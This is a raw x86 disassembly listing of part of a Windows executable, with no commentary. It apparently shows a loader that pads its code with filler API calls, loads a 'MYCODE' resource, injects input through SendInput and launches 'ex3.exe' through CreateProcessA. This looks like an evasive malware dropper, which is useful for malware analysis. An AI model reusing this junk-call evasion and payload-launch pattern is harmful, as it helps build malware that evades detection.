mov dword [ebp - 0x60], esi
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x58], esi
call fcn.00412c35
add esp, 4
test eax, eax
jne 0x40c929
call fcn.004248b5
mov dword [ebp - 0x68], eax
xor ecx, ecx
xor edx, edx
mov dword [eax], ecx
mov dword [eax + 4], edx
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x1c0], ecx
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x1bc], edx
mov dword [eax], ecx
mov eax, dword [ebp + 8]
mov byte [ebp - 0x25], al
lea eax, [ebp - 0x25]
push eax
mov dword [ebp - 4], 2
call fcn.004102b0
sub esp, 8
xorps xmm0, xmm0
movsd qword [esp], xmm0
call fcn.0042a4d0
movzx eax, byte [0x45c314]
lea ecx, [ebp - 0x68]
add esp, 8
movd xmm0, eax
cvtdq2pd xmm0, xmm0
push 1
movsd qword [ebp - 0x50], xmm0
fadd qword [ebp - 0x50]
fstp qword [ebp - 0x50]
cvttsd2si eax, qword [ebp - 0x50]
mov dword [ebp - 0x12c], eax
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x330]
push eax
call fcn.0040f660
mov ecx, eax
call fcn.0040b260
mov edi, dword [eax]
test edi, edi
je 0x40c9be
mov edi, dword [edi]
mov edx, dword [eax + 8]
mov eax, edx
mov ecx, dword [edi + 8]
and edx, 0xf
shr eax, 4
dec ecx
and ecx, eax
mov eax, dword [edi + 4]
mov eax, dword [eax + ecx*4]
lea ecx, [ebp - 0x68]
movzx eax, byte [eax + edx]
mov dword [ebp - 0x20], eax
movzx eax, byte [0x45c44c]
mov byte [ebp - 0x26], al
lea eax, [ebp - 0x26]
push eax
call fcn.004102b0
movzx eax, byte [0x45cc58]
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x27], al
lea eax, [ebp - 0x27]
push eax
call fcn.004102b0
sub dword [ebp - 0x58], 1
jne 0x40ca17
mov dword [ebp - 0x5c], 0
jmp 0x40ca1a
inc dword [ebp - 0x5c]
push 0
push 0
push dword [0x45c560]
call dword [sym.imp.GDI32.dll_SetTextJustification]
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov edi, dword [ebp - 0xb4]
mov eax, 0xa
nop
dec eax
push 0xfffffffffffffff5
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
movzx eax, byte [0x45c558]
imul eax, dword [0x459600]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [ebp - 0x138]
imul eax, dword [0x45cb04]
cmp eax, dword [0x45cc60]
jl 0x40ca91
mov eax, dword [ebp - 0x130]
movzx eax, al
add eax, dword [ebp - 0xb8]
add dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x7c], ecx
jne 0x40cad4
cmp dword [ebp - 0x78], eax
jne 0x40cad4
mov esi, dword [0x45c31c]
push 0x16
push esi
mov dword [ebp - 0x48], 0x12
mov dword [ebp - 0x54], 0x19
call dword [sym.imp.USER32.dll_GetScrollPos]
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x48]
push eax
push 0x16
push esi
call dword [sym.imp.USER32.dll_GetScrollRange]
mov esi, dword [ebp - 0x10]
jmp 0x40cb03
inc esi
mov dword [ebp - 0x7c], ecx
cmp dword [0x45cc54], 0
mov dword [ebp - 0x10], esi
je 0x40cb00
cmp dword [0x45cc5c], 0
je 0x40cb00
push 0
push dword [ebp + 8]
push dword [ebp + 8]
push dword [ebp + 8]
call sub.AVIFIL32.dll_AVIMakeCompressedStream
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x78], eax
push 0
push str.MYCODE
push str.CODE
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
test esi, esi
je 0x40cb35
inc dword [ebp - 0x18]
lea eax, [ebp - 0x24]
push eax
push 0
push 0
push 0
mov dword [ebp - 0x24], 0
call sub.pdh.dll_PdhAddCounterW
mov eax, 0xb21642c9
imul dword [0x45c0fc]
movzx eax, byte [0x45cc4c]
add edx, dword [0x45c0fc]
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add ecx, dword [0x45c310]
cmp ecx, eax
jae 0x40cb97
mov ecx, dword [0x45c0fc]
mov eax, 0x66666667
imul dword [0x45c30c]
movzx ecx, cl
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
movzx eax, byte [0x45cb04]
add ecx, dword [0x45c310]
inc eax
add eax, ecx
mov dword [0x45c0fc], eax
jmp 0x40cb9c
mov eax, dword [0x45c0fc]
cmp esi, 1
jg 0x40cc3f
call dword [sym.imp.USER32.dll_GetMenuCheckMarkDimensions]
lea eax, [ebp - 0x11b0]
movzx eax, ax
cmp edi, eax
jg 0x40cbc9
mov eax, dword [ebp - 0x12c]
add eax, dword [ebp - 0x3c]
mov dword [ebp - 0xb4], eax
mov edi, eax
cmp dword [ebp - 0x18], 5
je 0x40cc17
push 0x45cc64
call dword [sym.imp.USER32.dll_GetCursorPos]
push 0x12b
push dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push dword [0x45c31c]
push dword [0x45cc68]
push dword [0x45cc64]
push 0x40
push dword [0x45cc6c]
call dword [sym.imp.USER32.dll_TrackPopupMenuEx]
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x40ca40
jmp 0x40cc61
cmp dword [0x45c44c], 0
jne 0x40cc61
mov eax, 0x2aaaaaab
imul dword [0x45c308]
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, dword [ebp - 0xac]
mov dword [0x45cc4c], eax
jmp 0x40cc61
test eax, eax
je 0x40cc50
mov eax, dword [ebp - 0x1d4]
mov dword [0x45cb04], eax
jmp 0x40cc61
mov eax, dword [0x45c44c]
add eax, dword [0x45cc54]
mov dword [ebp - 0xb4], eax
mov edi, dword [0x45cc5c]
add edi, 0x4f
je 0x40ccd3
lea eax, [ebp - 0x89c]
movzx eax, al
mov dword [ebp + 8], eax
nop dword [eax + eax]
push 0xffffffffffffffe6
push dword [0x45c31c]
call dword [sym.imp.USER32.dll_GetClassLongA]
or eax, 0x200
push eax
push 0xffffffffffffffe6
push dword [0x45cc5c]
call dword [sym.imp.USER32.dll_SetClassLongA]
mov ecx, dword [0x45cc58]
mov esi, dword [0x45c0fc]
mov eax, esi
cdq
lea ecx, [ecx + 0x5d]
idiv ecx
imul eax, dword [ebp - 0xb4]
sub eax, dword [ebp + 8]
add eax, dword [0x45cc4c]
add esi, eax
mov dword [0x45c0fc], esi
sub edi, 1
jne 0x40cc80
lea ecx, [ebp - 0x68]
mov dword [ebp - 4], 0xffffffff
call fcn.0040f230
push 8
push 1
push dword [ebp - 0x68]
call fcn.0040ede0
mov esi, dword [0x45c31c]
xor eax, eax
add esp, 0xc
mov dword [ebp - 0x68], 0
mov dword [ebp - 0xe4], 7
mov dword [ebp - 0xe8], 0
mov word [ebp - 0xf8], ax
cmp word [0x45c100], ax
je 0x40cd31
push 0x45c100
call fcn.004295b6
add esp, 4
push eax
push 0x45c100
lea ecx, [ebp - 0xf8]
call fcn.0040f480
lea ecx, [ebp - 0x84]
mov dword [ebp - 4], 3
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x80], 0
call fcn.0040eba0
push 0x40
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0x2f0]
push 0
push eax
call fcn.0041c490
add esp, 0xc
cmp dword [0x45c314], 0
je 0x40cdb0
cmp dword [ebp - 0xe4], 8
lea eax, [ebp - 0xf8]
cmovae eax, dword [ebp - 0xf8]
push eax
lea eax, [ebp - 0xda8]
push 0x100
push eax
call fcn.00429430
add esp, 0xc
mov eax, dword [ebp + 8]
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 0x2f0], eax
lea eax, [ebp - 0xda8]
mov dword [ebp - 0x2d8], eax
lea eax, [ebp - 0x2f0]
push eax
push 0
push 0x1100
push esi
mov dword [ebp - 0x2ec], 0xffff0002
mov dword [ebp - 0x2e8], 1
mov dword [ebp - 0x2d4], 0x100
call edi
mov ecx, dword [ebp - 0x84]
push ecx
mov dword [ebp - 0x44], ecx
mov byte [ebp - 4], 4
mov eax, dword [ecx]
lea ecx, [ebp - 0x84]
push eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x14]
push eax
call fcn.0040f9a0
push 0x44
push 1
push dword [ebp - 0x84]
call fcn.0040ede0
mov eax, dword [ebp - 0xe4]
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
cmp eax, 8
jb 0x40ce54
inc eax
lea ecx, [ebp - 0xf8]
push eax
push dword [ebp - 0xf8]
call fcn.0040f600
mov esi, dword [0x45c31c]
xor eax, eax
mov dword [ebp - 0xe4], 7
mov dword [ebp - 0xe8], 0
mov word [ebp - 0xf8], ax
mov dword [ebp - 0xcc], 7
mov dword [ebp - 0xd0], eax
mov word [ebp - 0xe0], ax
cmp word [0x45c100], ax
je 0x40cea4
push 0x45c100
call fcn.004295b6
add esp, 4
push eax
push 0x45c100
lea ecx, [ebp - 0xe0]
call fcn.0040f480
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], 5
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
call fcn.0040ebd0
push 0x40
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x2a0]
push 0
push eax
call fcn.0041c490
add esp, 0xc
cmp dword [0x45c314], 0
je 0x40cf1a
cmp dword [ebp - 0xcc], 8
lea eax, [ebp - 0xe0]
cmovae eax, dword [ebp - 0xe0]
push eax
lea eax, [ebp - 0xfa8]
push 0x100
push eax
call fcn.00429430
add esp, 0xc
lea eax, [ebp - 0xfa8]
mov dword [ebp - 0x2a0], 0
mov dword [ebp - 0x288], eax
lea eax, [ebp - 0x2a0]
push eax
push 0
push 0x1100
push esi
mov dword [ebp - 0x29c], 0xffff0000
mov dword [ebp - 0x298], 0x41
mov dword [ebp - 0x278], 1
mov dword [ebp - 0x284], 0x100
call edi
mov ecx, dword [ebp - 0x50]
push ecx
mov dword [ebp - 0x1c], ecx
mov byte [ebp - 4], 6
mov eax, dword [ecx]
lea ecx, [ebp - 0x50]
push eax
mov dword [ebp - 0x1ac], eax
lea eax, [ebp - 0x1b8]
push eax
call fcn.0040fe20
push 0x2c
push 1
push dword [ebp - 0x50]
call fcn.0040ede0
mov eax, dword [ebp - 0xcc]
add esp, 0xc
cmp eax, 8
jb 0x40cfb9
inc eax
lea ecx, [ebp - 0xe0]
push eax
push dword [ebp - 0xe0]
call fcn.0040f600
mov edi, dword [0x45c31c]
xor eax, eax
mov word [ebp - 0xe0], ax
mov eax, dword [0x45c314]
mov dword [ebp - 0x10], eax
mov eax, dword [0x459600]
push 0xfffffffffffffff4
mov dword [ebp + 8], eax
mov eax, dword [0x45c0fc]
push edi
mov dword [ebp - 0xcc], 7
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0x3c], eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov ecx, dword [ebp + 8]
mov esi, eax
mov eax, dword [ebp - 0x10]
cmp eax, 7
je 0x40d077
cmp eax, 0x102
jne 0x40d077
cmp ecx, 9
jne 0x40d077
push 0x10
call dword [sym.imp.USER32.dll_GetKeyState]
xor ecx, ecx
test ax, ax
sets cl
lea eax, [ecx + 1]
mov ecx, 3
add eax, esi
cdq
idiv ecx
mov esi, edx
push esi
push edi
call dword [sym.imp.USER32.dll_GetParent]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x40d016
push esi
push edi
call dword [sym.imp.USER32.dll_GetParent]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
cmp dword [0x45c314], 0
je 0x40d093
push dword [ebp - 0x3c]
push ecx
push eax
push edi
push dword [ebp + esi*4 - 0x33c]
call dword [sym.imp.USER32.dll_CallWindowProcA]
mov eax, dword [0x459600]
add eax, dword [0x45c0fc]
mov edi, dword [0x45cb04]
sub edi, dword [0x45cc4c]
push 0x442194
push 0
mov dword [ebp + 8], eax
call dword [sym.imp.USER32.dll_FindWindowA]
cmp dword [0x45c558], 0
xorps xmm0, xmm0
movq qword [ebp - 0xc6], xmm0
mov dword [ebp - 0xbe], 0
mov word [ebp - 0xba], 0
movups xmmword [ebp - 0x180], xmm0
movq qword [ebp - 0x170], xmm0
je 0x40d104
mov dword [ebp - 0xc4], 1
mov dword [0x45cb04], 0
mov ecx, dword [0x45cc54]
mov eax, dword [0x45c30c]
mov esi, dword [sym.imp.USER32.dll_SendInput]
add eax, ecx
imul ecx, dword [0x45c31c]
mov word [ebp - 0xc8], ax
lea eax, [ebp - 0x184]
movups xmm0, xmmword [ebp - 0xc8]
push 0x1c
push eax
push ecx
mov dword [ebp - 0x184], 1
movups xmmword [ebp - 0x180], xmm0
call esi
cmp dword [0x45c31c], 0
je 0x40d168
mov ecx, dword [0x45c314]
test ecx, ecx
je 0x40d168
mov eax, dword [0x45c30c]
add eax, ecx
mov dword [0x45c310], eax
push 0x10
lea eax, [ebp - 0xc8]
push 0
push eax
call fcn.0041c490
push 0x1c
lea eax, [ebp - 0x184]
push 0
push eax
call fcn.0041c490
mov eax, dword [0x45c310]
add esp, 0x18
imul eax, dword [0x45c674]
mov ecx, 2
mov edx, 3
mov dword [ebp - 0x184], 1
cmp dword [0x45cc4c], eax
mov ax, word [0x45cc58]
cmova ecx, edx
mov word [ebp - 0xc8], ax
cmp dword [0x45cc54], 0
mov dword [ebp - 0xc4], ecx
movups xmm0, xmmword [ebp - 0xc8]
movups xmmword [ebp - 0x180], xmm0
je 0x40d1fc
cmp dword [0x45c308], 0
jne 0x40d1fc
push dword [0x459600]
lea eax, [ebp - 0x184]
push eax
push dword [0x45c314]
call esi
push dword [0x45cc5c]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov eax, dword [0x45cc4c]
mov esi, dword [0x45cc54]
push 0
push 0x80
push 3
push 0
push eax
push 0x80000000
push 0
imul esi, eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x468]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
je 0x40d259
mov ecx, dword [0x45c310]
imul ecx, dword [0x45c30c]
mov dword [0x45cb04], ecx
jmp 0x40d26a
mov eax, dword [0x45c558]
add eax, dword [0x45c674]
add dword [0x45cc4c], eax
mov esi, dword [0x45cc5c]
lea eax, [ebp - 0x49c]
add esi, dword [0x459600]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
je 0x40d2a5
push dword [ebp + 8]
push dword [0x459600]
push dword [0x45c310]
push dword [0x45cc5c]
call dword [sym.imp.USER32.dll_SendMessageA]
jmp 0x40d2cc
cmp dword [0x45cc5c], 0
je 0x40d2cc
cmp dword [0x45cc58], 0
jne 0x40d2cc
cmp dword [0x45c314], 0
jle 0x40d2cc
push dword [0x45c30c]
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameA]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x45cc4c]
cmp esi, 1
jne 0x40d2ee
mov eax, dword [0x45c30c]
add eax, ecx
mov dword [0x45cb04], eax
jmp 0x40d30c
cmp dword [0x45cc54], 0
je 0x40d30c
cmp dword [0x45c31c], 0
je 0x40d30c
mov eax, dword [0x45c674]
add eax, edi
mov dword [0x45c558], eax
mov eax, dword [str.ex3.exe]
mov dword [ebp - 0x40], eax
mov eax, dword [0x44219c]
push str.MySettingA
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x220]
push ecx
push eax
call fcn.0040eaf0
test eax, eax
jns 0x40d34a
mov eax, dword [0x45cc58]
imul eax, dword [0x45c314]
imul eax, dword [0x45c30c]
mov dword [0x45cc4c], eax
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x220]
push eax
call edi
push str.MyVersion2
push dword [0x45cc58]
lea esi, [ebp - 0x220]
add esi, eax
add esi, dword [0x45cc5c]
push esi
call fcn.0040eaf0
test eax, eax
jns 0x40d38d
mov eax, dword [0x45c310]
imul eax, dword [0x45cb04]
mov dword [0x45cb04], eax
push esi
call edi
mov ecx, dword [0x45cc54]
add eax, esi
mov byte [eax + ecx + 1], 0
mov ecx, 0x44
lea eax, [ebp - 0x3b4]
nop dword [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x40d3b0
mov ecx, dword [0x45c314]
mov dword [ebp - 0x3b4], 0x44
test ecx, ecx
je 0x40d414
cmp dword [0x45c31c], 0
je 0x40d414
cmp dword [0x45cc58], 0
jne 0x40d414
lea eax, [ebp - 0x35c]
push eax
lea eax, [ebp - 0x3b4]
push eax
push 0
lea eax, [ebp - 0x220]
push eax
push 0
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [0x45c314]
jmp 0x40d417
mov eax, dword [ebp + 8]
test eax, eax
jne 0x40d42d
mov eax, dword [0x45c310]
imul eax, dword [0x45cc54]
add dword [0x45cb04], eax
imul ecx, dword [0x45c31c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret